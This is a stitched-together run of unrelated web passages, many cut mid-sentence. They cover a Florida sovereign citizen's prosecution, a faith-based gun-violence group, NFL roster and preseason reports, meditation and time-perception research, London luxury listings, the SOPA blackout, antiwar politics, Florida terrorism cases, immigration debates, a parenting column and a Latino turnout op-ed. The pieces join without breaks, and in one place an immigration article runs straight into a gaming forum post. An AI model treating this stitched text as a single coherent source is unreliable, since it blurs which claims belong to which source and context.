in Pinellas and Pasco counties. Davis, it appears, has been active in the sovereign citizen circuit for some time. Earlier this year it was reported that Davis had served as a “judge” for the notorious Bruce Doucette, of Colorado, who claims he’s the “Superior Court Judge of the Continental uNited States of America.” Doucette set up a network of common law courts in Alaska, Colorado, Florida and Hawaii before being indicted in Colorado on multiple criminal charges, including racketeering, attempting to influence a public servant, extortion, criminal impersonation, retaliation against a judge and tax evasion. Last year, Davis and his “law and forensics” firm were involved in attempting to intervene on behalf of a Caldwell, Idaho woman. She had been arrested on witness intimidation charges while claiming her children were illegally taken from her by Child Protective Services workers. After her arrest, Davis pledged in an online video that his “marshals” would seek the arrests of the judge and officers involved in her case. Meanwhile in Florida, state prosecutors — deluged with other cases related to sovereign citizens, who frequently act as their own attorneys and clog the criminal justice system with bogus and often-nonsensical and baseless legal filings — say it’s fairly rare to charge a sovereign citizen with unlawful practice of law. The case against Davis may only be the second time prosecutors in Florida have charged a sovereign citizen with unlawful practice of law. Mark Pitcavage, an expert on sovereign citizens and other extremists, said there have been a handful of other cases in the United States “Sovereigns get into trouble every once in a while for practicing law without a license but not as often as one might think,” said Pitcavage. “This might be because they get hit with more serious charges instead, in some instances, or it might be because authorities don’t really think about that charge as a possibility.” Last year, another sovereign citizen, Anthony Williams, who claimed he didn’t need a license to practice law, was convicted in Broward County of unlawful practice of law. Williams had been caught twice driving without a license — one of the most-common techniques of sovereign

“Do not stand idly by while your neighbor’s blood is shed.” Leviticus 19:16 That Biblical passage is the guiding principle for the grassroots organization “Do Not Stand Idly By,” created in 2012 to counter gun violence. Sure, we’ve recently seen a host of new groups tackle this issue, but Do Not Stand Idly By (“DNSIB”) is different for two big reasons. First, it’s a faith-based initiative spearheaded by Christian, Muslim, and Jewish leaders (although it welcomes people of other or no faiths.) Framing the argument of the need to reduce gun violence in religious terms will undoubtedly move many—possibly even some on the right. Second, the focus of DNSIB is going to the source. No, I’m not talking the Book of Genesis. I mean the actual gun manufacturers. DNSIB’s mission is to convince gun makers to voluntarily (or by way of some friendly economic pressure) impose changes in its business practices that will hopefully save lives. “Our focus is not to have an adversarial relationship but to find common ground with gun companies because they, too, want to see gun violence reduced,” explained Oussama Jammal, one of the Chicago-based leaders of the movement and a pillar of the area’s Muslim community. DNSIB, which is an outgrowth of the nationally known faith-based community activist group Metro IAF, came into existence after the horrific 2012 Sandy Hook elementary school shooting. Since DNSIB’s inception, they have recruited more than 60 local elected officials as well as police chiefs to also work with them. Rabbi Joel Mosbacher, a national co-chair of DNSIB and the head of a temple in northern New Jersey, told me that DNSIB’s efforts are focused on two areas: Technology and distribution. The first component is urging gun manufactures to implement “smart gun” technology, such as weapons not being able to fire unless an authorized user’s fingerprint is detected. But it’s the second prong, the distribution of guns in our country, that could have an immediate impact on reducing gun violence, noted Mosbacher. On this front, DNSIB seeks to persuade gun manufactures to help track the weapons used in crimes in hopes of finding the source and cutting it off. Mosbacher, citing statistics from the Brady campaign to prevent gun violence, explained that 60 percent of the guns used in crimes in America are sold by approximately 1 percent of the 10,000 federally licensed gun stores. If DNSIB can target these 100 “bad” gun stores, it could reduce the flow of guns into the hands of criminals. The problem is this information is difficult to come by. Not because law enforcement is unable to gather it. Rather because in 2003, Congress enacted the Tiahrt Amendments (named after former Republican Rep. Todd Tiahrt of Kansas) that made it a crime for the ATF to reveal this information to the public as well as to state and city officials. (The NRA championed this amendment under the guise of protecting gun owners’ privacy.) But Mosbacher believes that the gun manufacturers have access to this info, and they could work together to ensure that these 100 stores are actually following federal regulations regarding gun sales. The most powerful weapon on DNSIB’s side may be money. I don’t mean a war chest of funds or a billionaire backer like Michael Bloomberg. Rather, the 60-plus mayors who have signed on to the DNSIB campaign are collectively using their economic clout to encourage gun makes to become more “socially responsible,” i.e., using smart technology, disposing of used guns responsibly, etc. So how is it been going so far? Well on the upside, an increasing number of mayors have joined the movement, including those from bigger cities such as Atlanta, Hartford, and Jersey City. That translates into more economic leverage. In fact, Jersey City Mayor Steve Fulop just last month became the first mayor to ask gun companies bidding for the city’s $500,000 guns and ammunition contract to respond to a series questions about their efforts to counter gun violence. That info was utilized to determine which company was ultimately awarded the contract. However, meeting with the CEOs of gun manufacturers has been challenging. In fact, earlier this week the organization tried to meet with gun makers in New York, Massachusetts, Connecticut, and Georgia and submit a request for information (RFI) about the company’s business practices. The RFI posed questions such as: “How does the company respond when one of its firearms is found to have been used in a crime?” and “please provide a detailed overview of the company’s activities and goals with respect to gun safety technologies

The New York Giants have decisions to make. Only the decision-makers have recently changed and, with them, so have the schemes and direction of the franchise. With Dave Gettleman as general manager and Pat Shurmur as coach, everything changes. They are going to force a roster assembled by Jerry Reese and, in recent years, Ben McAdoo conform to their liking. Here are some of the decisions they face, with projections on how they might work out: CB Janoris Jenkins Potential savings vs. cap: $6 million Dead money: $6 million The situation: He has three years remaining on the five-year deal he signed in 2016. Jenkins is a quality player, no doubt. He was a Pro Bowler in 2016, when things were going well with the Giants. When they fell apart last year, Jenkins threw in the towel. He failed to return to the team on time after the bye week and didn’t even offer a reason. His effort also came into question before he landed on injured reserve. If the Giants really wanted to send a message, they could feasibly sever ties with Jenkins. Prediction: Jenkins stays. He’s too good and useful a player. CB Dominique Rodgers-Cromartie Potential savings vs. cap: $6.5 million Dead money: $2 million The situation: This has nothing to do with Rodgers-Cromartie’s play. He again performed well when he was on the field last season. It’s just that he’s 32, was suspended for conduct detrimental to the team and played only 58 percent of defensive snaps last season. If the Giants don’t envision a bigger role, he might not be worth the significant investment. They might be better using that money elsewhere (see: offensive line). The new regime, however, might actually benefit Rodgers-Cromartie. Prediction: Rodgers-Cromartie stays. And he gets more snaps on the outside, where he’s better suited to play. After struggling in 2017, Brandon Marshall could be a candidate to be cut by the Giants this offseason. Kim Klement/USA TODAY Sports WR Brandon Marshall Potential savings vs. cap: $5.2 million Dead money: $1 million The situation: His first year with the Giants didn’t work out. He struggled and then missed most of the season with an ankle injury. Now he’s returning as a soon-to-be 34-year-old wide receiver set to make more than $5 million. Prediction: Marshall goes. The Giants need to allocate resources elsewhere and already have Odell Beckham Jr., Sterling Shepard and Evan Engram on the roster. Best case he returns on a one-year, incentive-filled deal. CB Eli Apple Potential savings vs. cap: $4.1 million Dead money: N/A The situation: His season was filled with controversy. The 2016 first-round pick was benched (on multiple occasions), suspended and had incidents with coaches, teammates and executives. It’s a hard sell to bring him back after last year, even though he’s a talented player. Prediction: Apple is traded. He still has value, even if it’s not equitable to the first-round pick the Giants used on him just two years ago. He should be able to bring a midround pick back in return. OT Ereck Flowers Potential savings vs. cap: $2.4 million Dead money: $2.4 million The situation: Another first-round pick who hasn’t worked out. Flowers struggled again this past season as the team’s starting left tackle and then asked out of the finale with an injury that many in the organization didn’t believe should have kept him out. Flowers and Bobby Hart (already released) also had their trouble in the offensive line room. At the very least, the Giants can’t possibly enter this season with Flowers being handed the left tackle job. Maybe he can move to the right side? To guard? Prediction: Flowers stays. The Giants try him at right tackle or at least bring in serious competition for him at left tackle. If it doesn’t work out they try him at guard before looking to make a trade for a late-round pick, the same the Rams did with failed first-round pick Greg Robinson, who was traded to the Lions for a sixth-round selection. G John Jerry Potential savings vs. cap: $2.5 million Dead money: $1.6 million The situation: He’s the only Giants offensive lineman to start every game each of the past

2, 1.6, 2 s) during the last 15 minutes of a long mindfulness meditation session of 30 minutes. The results did not show any difference between the temporal judgments of experienced meditators and students with no previous exposure to meditation. All the participants underestimated the stimulus durations presented during the meditation exercise compared to those presented during a control exercise. Droit-Volet et al. [16] obtained the same underestimation of time during a meditation task compared to a control task when the participants did not have to judge stimulus durations but, instead, the temporal intervals (15, 30, 60 s) that had elapsed. This shortening of interval durations was observed with different mindfulness techniques (i.e. body scan, breathing meditation), and compared to different attentionally demanding control tasks. Despite a certain inter-individual variability, Glicksohn et al. [15] also observed a subjective shortening of stimulus durations (4, 8, 16, 32 s) when experienced meditators were placed in an altered sensory environment (i.e. whole body perceptual deprivation chamber), as was indicated by the longer durations that they produced in the temporal production task used. The results of studies indicating an underestimation of durations during a meditation exercise have logically been explained in terms of attentional processes [16,22]. According to attentional models of the internal clock [27,28], the subjective duration depends on the amount of attentional resources allocated to the timekeeper (clock). The smaller the amount of attentional resources allocated to time, the smaller the number of time units counted by the timekeeper is, and the shorter time is estimated to be. The predictions of attentional-clock models have been validated in a wide series of studies using a dual-task or attentional interference paradigm [29,30]. Therefore, the shortening of estimated duration observed during a meditation exercise should result from the fact that this specific exercise captures attention more than most attentional tasks do. However, the studies on the judgment of durations during a meditation exercise have examined only short durations (< 60 s), i.e. a time scale which does not correspond to the time experience reported by meditators. Although the temporal span considered by meditators when they report an acceleration of the passage of time is not clearly defined, it likely covers a period of time longer than 60 s, i.e., the entire period of the exercise, or at least several minutes. There are only two studies which have examined the effect of a meditation exercise on the judgment of such long temporal intervals, i.e., 13 minutes in Thönes and Wittmann’s [17] study and 5 minutes in Sucala and David’s study [31]. The first study observed that duration judgment was more accurate with a mindfulness meditation exercise (body-scan) than with a control exercise (relaxing to music), while the second study found no meditation effect on duration judgments. In addition, the passage of time was judged to be faster in the first study and slower in the second one. The inconsistency in the results of these two studies may be due to the use of different methods. In addition, they used a retrospective time judgment task which was different from the prospective time judgment task used in the studies reported above. Unlike in the prospective time judgment task, the participants in the retrospective time judgment task are not informed that they will have to judge time. The aim of this present study was thus to test the effect of a meditation exercise on the prospective time judgment of long interval durations of several minutes compared to that of shorter interval durations. Only a few studies have examined the judgment of long durations of several minutes. It has nevertheless been suggested that the mechanisms involved in the judgment of long durations are different from those involved in the judgment of short durations [32,33]. The judgment of long durations would be largely based on memory processes, similar to those observed in the retrospective judgment of durations, and the judgment of short durations on the functioning of a timekeeper (internal clock system) that demands attentional resources. According to memory-based models of the retrospective judgment of durations [34,35,36], time estimates are a function of the amount of non-temporal information stored and retrieved in memory, namely the characteristics of the experiencer (emotion), the events (number, complexity) or the activity (effortless, attentionally demanding) performed during the time period [36,37]. The more attentionally demanding the activity performed during the temporal interval is, the longer the elapsed duration is retrospectively judged to be [36,37]. Consequently, whether the meditation exercise is an attentionally demanding task, we can assume that the practice of a meditation exercise should result in a temporal underestimation for short interval durations and a temporal overestimation for long interval durations of several minutes. In addition, some recent studies have indicated that awareness of the passage of time (PoT judgment) and duration judgment are dissociated on short time

Indoor swimming pools, cavernous wine cellars, breathtaking views of the City; luxury homes in London have surpassed other major cities as first choice for lavish living. We’ve rounded up a few of the most opulent properties on the market right now When looking for luxury real estate, more often than not, London is the first city of choice. London's dominance of the global luxury property market is set to continue for the next decade at least, so whether you are looking to find your dream home, a perfect city hideaway, or an outstanding development, make London your first stop for your newest property investment. Coombe Hill Road, Kingston Upon Thames Just half an hour away from Central London, this outstanding family home called Laurel Grove offers everything you would ever want from a property - including a swimming pool, cinema, fitness suite and a wine room. Winner of the WhatHouse? Luxury Homes of the year 2015, this property boasts a David Linley kitchen, seven and bedrooms. Christian de Meillac of Harrods Estates said: 'For a family that is looking for privacy and luxury within London, this home is a one of the best! Coombe Hill offers exclusivity and peaceful surroundings approximately 8 miles from the West End'. Asking Price: £ 8,950,000 www.harrodsestates.com The Penthouse, City Road 154 ft. in the sky above Tech City on Old Street roundabout is home to this luxury contemporary property, offering 360-degree panoramic views of London. With a jetted bath tub, sauna, and a Legrand wireless audio system (controlled via a bespoke iPad platform), this stunning home has been designed with a higher quality of life in mind. The vibrant area of Shoreditch is located nearby which is heaving with remarkable eateries, fashionable bars and trendy boutiques. Asking Price: £ 4.75 million www.hattonrealestate.co.uk Chapman Sqaure, Wimbledon This modern two bedroom apartment has been designed to create plenty of light and space, with a spacious open plan sitting/dining room and private balcony overlooking Wimbledon Common. With a concierge service and a secure gated system, this well presented property is for those who love a bit of exclusivity. Asking Price: £649,950 www.johndwood.co.uk The Chilterns, Marylebone Lane You don't get much more prestigious than The Chilterns, a luxurious development alongside the fashionable Marylebone Lane. Paddington Street Gardens is a beautiful backdrop to The Chilterns. With its green and luscious wide open space, mature trees and manicured gardens, it is a side to London that is as surprising as it is relaxing. This is a trophy penthouse and one of London's most desirable new addresses. Asking Price: £3.35 million www.galliardhomes.com/The-Chilterns www.fraser.uk.com newhomes@fraser.uk.com 020 7723 1284

CHARLOTTE, N.C. -- Only film study will reveal whether Jon Bostic truly outperformed his peers from the Chicago's 2013 draft class, but he certainly provided the most entertainment in the first quarter of a 24-17 loss to the Carolina Panthers in the exhibition opener. With the Panthers leading 7-0 in the first quarter, Bostic intercepted a Cam Newton pass intended for former Chicago Bears tight end Greg Olsen, and returned it 51 yards for a touchdown. The play highlighted what amounted to a 7-7 draw between the starters of both teams, which had more or less pulled all the first teamers by the conclusion of the first quarter. "I was spying the quarterback," Bostic said of his interception. "I was reading Cam's front shoulder, but really it was the blocking that kind of got me (in the end zone for the TD). Everybody was pitching in, getting down the sideline for me to get in there." Filling in for injured starting middle linebacker D.J. Williams (calf), Bostic put together one of the more memorable showings of all the club’s younger players. Bears coach Marc Trestman made it a point to mention the club is "not ready to anoint him," as a starter. Even Bostic says that "right now, I'm not even looking at that." "I've got to get a lot better before I can even think about being a starter," he said. "There are so many guys that have done this for so long so much better than me. I've just got to look at the film tonight and tomorrow." Bostic finished the game with two tackles, including one for lost yardage, and one pass breakup. Bostic also contributed extensively early on special teams. "I think it's significant when young guys step up and make plays," Trestman said. "That's certainly gonna help their confidence. He's gonna play a lot of football for us. I was encouraged by his stamina over the course of the game. It's just great to see these young guys have success, and be able to identify and do good things. He did that today." Here's a quick glimpse of how some of the other rookies fared: OG Kyle Long: Because Long plays an interior offensive line position, it was difficult to get a read on how he performed. Long spent the majority of his time playing with the reserves, but played plenty of snaps with second-year man James Brown getting the start at right guard. There's a strong chance Long will receive the start at right guard Thursday when the Bears host the San Diego Chargers. Long called the experience Friday "unbelievable." "I'm looking around the locker room pregame, and I'm like we all have C's on our helmets, we're freaking Bears," Long said. "There's a TV timeout. I looked at Gabe Miller our tight end, and I'm like, 'Dude, it's the weekend right now. Everyone is sitting on their couch hanging out, and we're out here playing for the Chicago Bears.' " Long said conditioning was never an issue during his time on the field and on special teams. "You would have to physically pull me off the field," he said. OLB Khaseem Greene: Greene quietly put together a strong debut, finishing the game tied for the team lead in tackles (4), including one for lost yardage. Greene also contributed a stop on special teams. WR Marquess Wilson: Caught four of the five passes thrown his way for 82 yards, including a 58-yard bomb in the second half. DE Cornelius Washington: Two tackles, including one for lost yardage.

Story highlights The protest is in response to the Stop Online Piracy Act legislation "We're not done yet," website said The legislation is working its way through Congress Wikipedia was back Thursday, a day after shutting down the website to protest anti-piracy bills now in Congress. On the website early Thursday morning was the cryptic message: "Thank you for protecting Wikipedia. We're not done yet." Clicking on that message takes a Wikipedia viewer to a thank you letter and instructions on how to continue fighting against anti-piracy bills that critics say could amount to censorship. "Your voice was loud and strong," the message said. "Millions of people have spoken in defense of a free and open Internet." Wikipedia was among several websites to shut down Wednesday in protest of the bills. Instead of the usual encyclopedia articles, visitors to Wikipedia's English-language site were greeted by a message about the decision to black out its Web page for an entire day. However, users were able to access Wikipedia on some smartphones. The site and several others went dark at midnight Tuesday; others followed suit later in the day. The protest is in response to the Stop Online Piracy Act bill, a piece of proposed legislation that is working its way through the Congress. A Senate committee approved a similar bill in May called the Protect IP Act, which is now pending before the full Senate. The controversy over SOPA and PIPA has turned into an all-out war between Hollywood and Silicon Valley. Media companies have united in favor of the bills, while tech's power players are throwing their might into opposing them. "Both SOPA and PIPA are threats not just to the U.S. economy, and not just to all the jobs that this tech sector creates, but if they had existed, Steve Huffman and I could have never founded Reddit," said Alexis Ohanian, who co-founded the site. Millions visit Reddit to submit interesting links from websites, discuss them and vote on them, he said, calling it "sort of a democratic front page of the web." Reddit also went dark Wednesday morning and was back Thursday. One member of Congress, Rep. Darrell Issa, R-California, who opposes the bills, said the unprecedented blackouts had "turned the tide against a backroom lobbying effort by interests that aren't used to being told no." Issa is pushing for consideration of his own plan, the OPEN act, addressing the matter.

with those conservative Americans who want a limited role for government. Erik Sperling, Just Foreign Policy What’s more, the flourishing of grassroots opposition to the Iraq War in particular gave birth to a progressive infrastructure that still forms the nucleus of antiwar activism. The rise of MoveOn.org and other online fundraising-driven groups, along with alternative media outlets such as Daily Kos and HuffPost, helped close the resource and messaging gap, albeit modestly, between progressive activists and their counterparts on the right. It’s a network of groups, news outlets and vehicles for activism that allowed the left to coordinate an effective response to Trump’s bellicose rhetoric toward North Korea in August 2017, according to David Karpf, a George Washington University media professor and author of “The MoveOn Effect: The Unexpected Transformation of American Political Advocacy.” “I remember noticing at the time how a really robust progressive infrastructure ― groups like MoveOn.org and the entire network of Netroots groups came together and said, ‘We are going to come together to stop the U.S. from going to war,’” Karpf said, though he noted that given the sudden nature of events this time, the response has necessarily been a bit more staggered. But the United States’ seemingly “endless wars” in the Middle East ― as Sanders and other skeptics have come to dub them ― have not just soured liberal Democrats decisively against foreign military adventures. Solid majorities of U.S. military veterans, who have historically leaned conservative, now believe that the two invasions were a mistake, according to Pew polling released in July. In some ways, Trump’s very election was a sign of a bipartisan decline in appetite for military adventures ― though perhaps not hawkishness of all kinds. As a presidential candidate, Trump touted his opposition to the Iraq War, claiming inaccurately that he had opposed it from the beginning; took a less interventionist posture toward Syria than Democratic presidential nominee Hillary Clinton; and decried the vast sums of money that the U.S. had expended on wars in the Middle East. For some progressives, that raises hopes of a bipartisan, antiwar coalition with a figure like Sanders at the helm. “The Sanders approach... clearly has crossover appeal with those conservative Americans who want a limited role for government,” Sperling said. “Many conservatives are increasingly vocal about how continuing endless wars and maintaining hundreds of thousands of troops abroad at over 800 foreign military bases runs counter to traditional conservative values.” Spencer Platt/Getty Images As a presidential candidate in 2016, Donald Trump, right, denounced the Iraq War, mocking former President George W. Bush and his brother, then-Florida Gov. Jeb Bush, left. Events since Trump has taken office, however, have cast doubt on the staying power of such a coalition. When it came to the Iran nuclear agreement, Trump’s desire to roll back Obama’s achievement overcame any anti-interventionist instincts that he might have had. Tearing up that agreement, which international agencies agreed Iran was complying with, helped lead the U.S. to where it is now. But Trump’s popularity remains sky-high with Republican voters. Matt Grossmann, a political scientist at Michigan State University, says that it is a mistake to even identify Trump’s “America First” foreign policy as anti-interventionist, so much as it is self-interested. Given the way the Trump administration has framed Soleimani as a murderer and imminent threat to American lives, killing him is likely to be seen by Republicans as a consistent feature of Trumpism, he argued. “The foreign policy attitude of the Republican base is: ‘American interests in the world are good,’” Grossmann said. “It’s broad enough that it can encompass the Trump foreign policy as well as the Bush foreign policy.” And, of course, Sanders ― or Warren ― still needs to win over Democratic voters and stakeholders before they can test the broader public’s receptivity to an iconoclastic foreign policy vision. The early signs are not promising. Under the leadership of Speaker Nancy Pelosi of California, House Democrats agreed to a defense spending bill that did not include amendments that would have deprived Trump of the legal basis for military conflict with Iran. And in the contest for the Democratic presidential nod, Biden currently leads Sanders and Warren by over 30 percentage points in terms of the Democratic voters who say he is the best suited to handle foreign policy. Sanders could upset the establishment as antiwar candidate Obama did in 2008 or fizzle like the youth-focused antiwar crusader Howard Dean did in 2004, according to Grossmann. On paper, the candidate already more trusted on foreign policy stands to benefit from an increase in

not sure Florida is disproportionately involved in any sorts of things. Unfortunately on Sunday morning, it did hit us at home." One expert questioned that assumption. "I don't think it's just because it's a big state," said Daveed Gartenstein-Ross, a counterterrorism expert at the Foundation for Defense of Democracies. "In several geographic locations you actually have what you could regard as terrorist networks. Minneapolis-St. Paul is one example. In Florida, based on publicly available evidence, it seems likely there is a network of some kind." • • • Tampa saw two high-profile cases, both involving the University of South Florida. Professor Sami Al-Arian was accused in 2003 of helping finance the Palestinian Islamic Jihad. The case dragged on for years, and he pleaded to greatly reduced charges of conspiring to aid the PIJ by helping a relative with links to the group get immigration benefits. Al-Arian was deported to Turkey in 2015. His brother-in-law, Mazen Al-Najjar, a former USF instructor, was deported in 2002 after being accused of ties to Palestinian terrorists. He was never charged. In 2008, USF student Ahmed Mohamed was sentenced to 15 years in prison for providing material support to terrorists, and he admitted to creating a YouTube video showing how to turn a child's remote control toy into a bomb detonator. He and a friend, Youssef Megahed, became suspects after being pulled over for speeding in South Carolina. The trunk of their car contained PVC pipes stuffed with a potassium nitrate and sugar mixture. But the government's case against Megahed, whose family came to the United States from Egypt, was weak. He was cleared by a jury. More recent cases in Florida have come under scrutiny, though the government insists the plots were serious. Osmakac, the Pinellas Park man sentenced in 2014 to 40 years in prison, was accused of attempting to use a car bomb, grenades and a suicide vest to carry out large-scale attacks in the Tampa Bay area. His lawyers argued he was mentally ill and had been coaxed by the FBI. The FBI provided the money he used to buy weapons (also provided by the FBI). The car bomb came with instructions, in case he didn't know how to use it. The alleged Key West backpack bomber, Harlem Suarez, was also caught in a sting, an FBI informant providing him with the fake bomb. He came to the attention of authorities by posting pro-ISIS messages on Facebook, though there was no evidence he was in contact with the group. Michael German, a former undercover FBI agent now with the Brennan Center for Justice's Liberty and National Security Program, says those types of cases raise questions of whether the FBI is "manufacturing" terrorism cases and could actually be hurting attempts to find and prevent serious threats. "It's pouring resources into investigations where the level of threat is extremely low," German said. "I wouldn't argue in these cases that these individuals don't justify some law enforcement response potentially but a sting operation like that is increasingly resource intensive." The FBI declined comment for this story. But officials there and in the broader national security community say what happened in Orlando can happen again. "We have not been able to uncover any direct link between that individual, Mateen, and a foreign terrorist organization," CIA director John Brennan said Thursday. "But that inspiration can lead someone to embark on this path of destruction." Times researcher Caryn Baird and staff writer Allison Graves contributed to this report. Contact Alex Leary at aleary@tampabay.com. Follow @learyreports.

that Japan is “quietly” beginning to embrace immigration as a solution to its problems. “As economic pressures continue to bear down on Japan and the country seeks to maintain the solvency of its labour market and healthcare and pension systems, larger-scale increases in immigration appear inevitable,” he writes. “It is also reasonable to expect greater promotion of immigration to rural Japan in the longer term, as these areas continue to depopulate.” China faces a similar problem. The government abandoned its controversial one-child policy because of fears of an ageing population and a shrinking workforce. It’s predicted that one in three Chinese people will be aged over 60 by 2050, and China’s birthrate is dropping in the meantime. According to a report by The Atlantic, even a country as populous as China will soon come to rely on migrants to sustain its workforce. “In another decade or two, the social and fiscal pressures created by ageing in China will force what many Chinese find inconceivable for the world’s most populous nation: a mounting need to attract immigrants.” CONCERNS ABOUT AUSTRALIA’S MIGRANT INTAKE Despite this evidence, some experts have echoed Tony Abbott’s view. Earlier this week, population expert Bob Birrell, a former Monash University professor and now head of the Australian Population Research Institute, said net overseas migration was responsible for half the growth in households in Melbourne and Sydney. “Therefore it’s a major factor in demand for housing in those two cities and a major contributor to price rises as a consequence,” Mr Birrell told news.com.au. “If there’s going to be any solution to metropolitan problems (housing affordability, pressure on infrastructure, cost of living increases), the immigration program has to be cut drastically.” This includes everyone coming in or out of Australia annually, whether they are citizens or migrants. He also said “per capita economic growth” — which he added is what really matters to Australian residents — wouldn’t be growing. “The benefits would mainly be reducing pressure on the big cities — so it’s a trade-off.” Posted 04 April 2015 - 04:44 AM Gamuray, on 04 April 2015 - 04:05 AM, said: I was here for 8v8, and I will tell you, you had much more freedom to move and it was much more forgiving if you found yourself suddenly pressed up against the enemy forces. Your armor lasted longer and mattered more, since there wasn't as much firepower going around. You could by sneaky on small maps too An by the way, did I mention it was easier to manuever? (also of note, it's not good when one can amount their losing to luck of the draw with their team. 8v8 did lessen that) Smaller teams would be a major benfit to the game.Back when we had 8v8, there was much less firepower coming at you at any given time.Lights had a purpose, in that smaller teams means you NEEDED to know where both enemy Lances were and which Assaults they had so that your own Assaults could position to deal with them.Not scouting the tunnels in Frozen City and Forest Colony had often disastrous consequences for the team that wasn't scouting.Back in the days of 8v8, The tunnel on Frozen City could be used as a proper flank route, engage at the front with the Assaults and send the Mediums/Heavies around the Tunnel to hit them from the rear while the Lights did hit and runs out of the lower paths.8v8 meant that both teams had, at best, 6 'Mechs with good firepower and some Lights. You could move across open ground without evaporating under 10+ 'Mechs worth of concentrated firepower.Now though, If you try to send a flank through the Tunnel the frontline sees a numbers advantage and the team murderballs over the team with less 'Mechs in the clump.12 v 12 has LESS tactical options because if you try to flank or feint the enemy, your team is faced with superior Armor and Firepower while the flank tries to get in position, and when it hits the backside of the enemy team they just whirl around and obliterate the smaller force and then go murderball the remaining 'Mechs.So yeah, i fully support the return of 8v8 for the Solo Queue.

stray dogs and scooters, she is driving too fast, braking too hard, not driving fast enough... You will be proud of me, dear reader, for I uttered nary a word. None of the above sentences that drummed my head made their way out of my mouth. There was silence in the car. At the end of our drive, my daughter got out and smiled through stiff lips. At least this time I hadn’t made her cry. The first time we drove together, I kept lifting the emergency brake and kept up a litany of screaming instructions. “Look out. You are too close to the car in front. Slow down. SLOW DOWN. Press the brake." “Ma, stop it. You are making me nervous," she cried. Not cried in the figurative sense, but literally with tears threatening to spill out. After a few iterations, I decided on the silence protocol. It was among the hardest things I have done. Essentially, it involves biting your tongue so you don’t speak. Sure, my blood pressure went up. Sure, I clenched my fist till I drew blood. But at least I wasn’t abusing my child. And she drove better. As Alison Gopnik wisely points out in her book The Gardener and the Carpenter, what the new science of child development tells us about the relationship between parents and children is that there are two ways to parent. The carpenter believes that he can sculpt his child through instruction, criticism and specific activities or goals into something that he envisions them to be. The gardener simply lays the framework in which plants—in this case, children—can thrive. We all intuitively want to be gardeners, gently tending our flock of children so that they become the best they can be. In this scenario, we simply lay the groundwork for them to grow. The reality of daily parenting, however, is more carpenter than gardener, more screaming coach than compassionate nurturer. It is a litany of instructions rather than setting the scene for growth. Taking a deep breath and holding your tongue can help balance this out. This is difficult to do because we have to subdue the 18 muscles required for articulation, including the pharyngeal, glottal, epiglottal, apical and radical. The tongue is the most important organ in speech. To tie it up requires an act of will. For me, what helped restrain my tongue was humming. Yes, really. After all, the earliest type of speech was called musillanguage. According to one stream of thinking, language evolved from the guttural sounds that humans made when they experienced emotions. From our early sounds of weeping and shouts of happiness came the variation of tones that evolved parallelly into music and language. That’s the hypothesis, anyway. So, I sat in the back of the car, buried my face into the newspaper and hummed tunelessly as my daughter drove. It didn’t silence my thoughts, but at least it silenced my words—and drove my daughter crazy, as she later told me. My stance was the last refuge of my tortured mind and went against everything that I wanted to do. After all, the human instinct is to encode thoughts into words. Of what use these words if you cannot speak them? Things are getting better though. I am learning to pause before I speak. I am learning to hold back the conversion of thought into spoken word. I am learning to embrace, and indeed, revel in silence. I wish I could tell you that it has made me wiser, or that it has solved all the mother-daughter quarrels in our household. But what it has done is given both sides some respite. When I don’t snap to judgement or swiftly bark out orders, it gives my kids the space to choose, decide and make mistakes. I discovered that they are surprisingly good at it. They weigh and judge consequences, act swiftly when needed, and most delightful of all, aren’t always in danger of self-destructing. This then is the mother’s delusion, isn’t it? That things will fall apart if we aren’t around, that things are always better when we do it, and that our kids need us at every step of their lives. Proactive parenting is the philosophy I have espoused for most of my life. To my shock, pulling back by way of silence was the best thing for my kids. Read Shoba Narayan’s previous columns here. Comments are welcome at feedback@livemint.com Subscribe to Mint Newsletters * Enter a valid email * Thank you for subscribing to our newsletter. Share Via

by slightly more than 800,000 votes, but there are nearly 3 million Latinos who didn’t vote in 2016. The table below illustrates the size and potential power of the nonvoting Latino population vis-à-vis the electoral margin of difference in the 2016 presidential election in these three states. Clearly, increasing Latino voter turnout is key to winning back control of the United States Senate—the very body that is aiding and abetting the forced deportation of Latino people. Twenty eighteen can be the year when immigrants of color strike back. Such success won’t just happen on its own, however. In order for reinforcements to come to the rescue, they need a vehicle to get to the battlefield. If Democrats and progressives want to seize the moment, they must make massive monetary investments in the organizations, leaders, and candidates who can inspire and organize historic Latino voter turnout. That is how to turn political potential into political power—and how to transform demographic trends into a new political order based on justice, equality, and inclusion. Based on past midterm-election voting patterns, the gap Democrats must bridge in Arizona and Nevada will be about 300,000 people. Research and prior experience have proven that it costs about $75 to successfully help an infrequent voter overcome the financial, logistical, and motivational obstacles that keep her or him from casting a ballot. Therefore, an intelligent investment of about $23 million in Arizona and Nevada is key to taking back the Senate. (It will likely cost an additional $50 million to win Texas.) These are significant sums of money, but remember that Democrats spent $200 million on the Senate in the last midterm elections. In order to win in 2018, progressives must make investments in the nitty-gritty work required to increase voter turnout. That means elevating and embracing Latino candidates and pouring buckets of money and support into community-based organizations with strong reputations and deep roots. It also means overhauling and redirecting the progressive communications machine. How many people in the progressive movement have heard of David Garcia? His campaign for governor of Arizona can be the engine that pulls along all the Democrats in the state—including the Democratic nominee for Senate—to victory. Equally important, how many know about One Arizona, a statewide coalition that registered 150,000 Latino voters in six weeks in 2016? Or what about Mi Familia Vota in Nevada? And how many progressives are aware of the Texas Organizing Project, the highly disciplined and effective community-based organization that drove the efforts to elect the mayors of Houston and San Antonio (by, in many cases, literally driving voters of color to the polls)? These are the groups and leaders on whom many millions of dollars should be showered if we want to recapture control of Congress and take back our country. In so doing, we will seize upon the force most feared by the Republicans and unleash its energy to propel radical political changes that will foster the dawning of a new day of justice and equality for all.

